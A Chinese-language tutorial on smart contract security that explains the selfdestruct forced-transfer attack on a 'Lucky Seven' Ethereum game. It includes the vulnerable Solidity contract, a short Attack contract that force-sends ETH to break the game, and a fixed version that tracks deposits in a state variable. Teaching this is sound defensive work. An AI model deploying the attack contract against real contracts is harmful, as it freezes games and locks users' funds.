智能合约安全:自毁函数攻击
自毁函数是由以太坊虚拟机 EVM 提供的一项功能,用于销毁区块链上部署的智能合约。
当合约执行自毁操作时,合约账户上剩余的 ETH 会发送给指定的目标地址,然后其存储和代码从以太坊状态中被移除。
自毁函数在 solidity 中定义为 selfdestruct。也就是说,智能合约在某些特殊情况下可以自行毁灭,比如:存在致命bug、废弃不再使用等。
“幸运七”核心是一个叫做 EtherGame 的合约。玩家们每次向 EtherGame 合约中打入一个以太,第七个成功打入以太的玩家将成为赢家,获得合约中累积的七个以太,其它玩家都是输家,分文不得。
自毁函数攻击“幸运七”的最终结果,是导致“幸运七”游戏停止服务,EtherGame智能合约废了。
我们知道,在 solidity 中,有三种方法发送 ETH,分别是 send,transfer和call。
关于三者的用法和区别,可以参考【编程教程】 solidity教程。
除了这三种发送 ETH 的方法,还有其它方法吗?答案是肯定的,那就是自毁函数,这是一个很隐蔽的发送以太的方法。我们在编写智能合约的时候,往往会忽略了这一点。而正是这一点,就会被黑客利用,几行代码,就能让你的智能合约瘫痪。
被攻击者合约 EtherGame
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 幸运七游戏合约
contract EtherGame {
// 每轮游戏的目标金额
uint private constant TARGET_AMOUNT = 7 ether;
// 赢家地址
address public winner;
// 存入以太,玩游戏
function deposit() public payable {
// 只允许玩家存入1个ether
require(msg.value == 1 ether, "You can only send 1 Ether");
// 获取合约余额
uint balance = address(this).balance;
// 如果合约余额小于等于7个ether,就继续向下运行,否则拒绝当前玩家,以太退回
require(balance <= TARGET_AMOUNT, "Game is over");
// 如果合约余额等于7个ether,那么本次存入以太的人,就是赢家
if (balance == TARGET_AMOUNT) {
winner = msg.sender;
}
// 如果合约余额不等于7个ether,也就是小于7
// 那么本次存入以太的人,就是输家,以太被没收,游戏继续
}
// 赢家申请取走奖励
function claimReward() public {
// 判断是否为赢家,输家调用返回 "Not winner"
require(msg.sender == winner, "Not winner");
// 给赢家发送合约中的全部ether
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
// 赢家地址清零
winner = address(0);
}
// 查看合约余额
function getBalance() public view returns(uint){
return address(this).balance;
}
}
攻击者合约 Attack
攻击合约 Attack 非常简单,只有两个函数。
构造函数 constructor 的属性设置为 payable,这样可以让我们在部署合约的时候,先存入7个以太。
攻击函数 attack,参数为攻击目标的地址,执行自毁的时候,强制转账给这个地址。
// 攻击者合约
contract Attack {
// 构造函数,设置为payable
constructor() payable{
}
// 攻击函数,参数为目标合约地址
function attack(address _addr) external {
selfdestruct(payable(_addr));
}
// 查看合约余额
function getBalance() public view returns(uint){
return address(this).balance;
}
}
本次攻击之所以成功,是因为开发者过份相信自己能够控制账户余额,却不知道以太坊留有后门,可以通过自毁函数强制转账。
修复方案
解决自毁函数攻击的关键,就是不要以账户余额做为判断条件。 我们可以定义一个状态变量,用来记录游戏资金的余额,这个变量是开发者可以自行掌控的。 按照这个思路,游戏合约的代码修复如下。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 幸运七游戏合约
contract EtherGame {
// 每轮游戏的目标金额
uint private constant TARGET_AMOUNT = 7 ether;
// 赢家地址
address public winner;
// 账户余额
uint private balance;
// 存入以太,玩游戏
function deposit() public payable {
// 只允许玩家存入1个ether
require(msg.value == 1 ether, "You can only send 1 Ether");
// 合约余额累加本次投注
balance += msg.value;
// 如果合约余额小于等于7个ether,就继续向下运行,否则拒绝当前玩家,以太退回
require(balance <= TARGET_AMOUNT, "Game is over");
// 如果合约余额等于7个ether,那么本次存入以太的人,就是赢家
if (balance == TARGET_AMOUNT) {
winner = msg.sender;
}
// 如果合约余额不等于7个ether,也就是小于7
// 那么本次存入以太的人,就是输家,以太被没收,游戏继续
}
// 赢家申请取走奖励
function claimReward() public {
// 判断是否为赢家,输家调用返回 "Not winner"
require(msg.sender == winner, "Not winner");
// 合约账户余额清零
balance = 0;
// 赢家地址清零
winner = address(0);
// 给赢家发送合约中的全部ether
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
// 查看变量余额和合约余额
function getBalance() public view returns(uint varBalance, uint realBalance){
return (balance,address(this).balance);
}
}
// 攻击者合约
contract Attack {
// 构造函数,设置为payable
constructor() payable{
}
// 攻击函数,参数为目标合约地址
function attack(address _addr) external {
selfdestruct(payable(_addr));
}
// 查看合约余额
function getBalance() public view returns(uint){
return address(this).balance;
}
}
下一章:智能合约安全:整数溢出攻击
整数溢出就是向存储整数的内存单位中存放的数据,超过了该内存单位所能存储的最大值,从而导致了溢出。比如,我们要把整数1024赋值给一个uint8的变量,那么就会导致整数溢出,因为uint8变量能存放的最大值才是25 ...
AI 中文社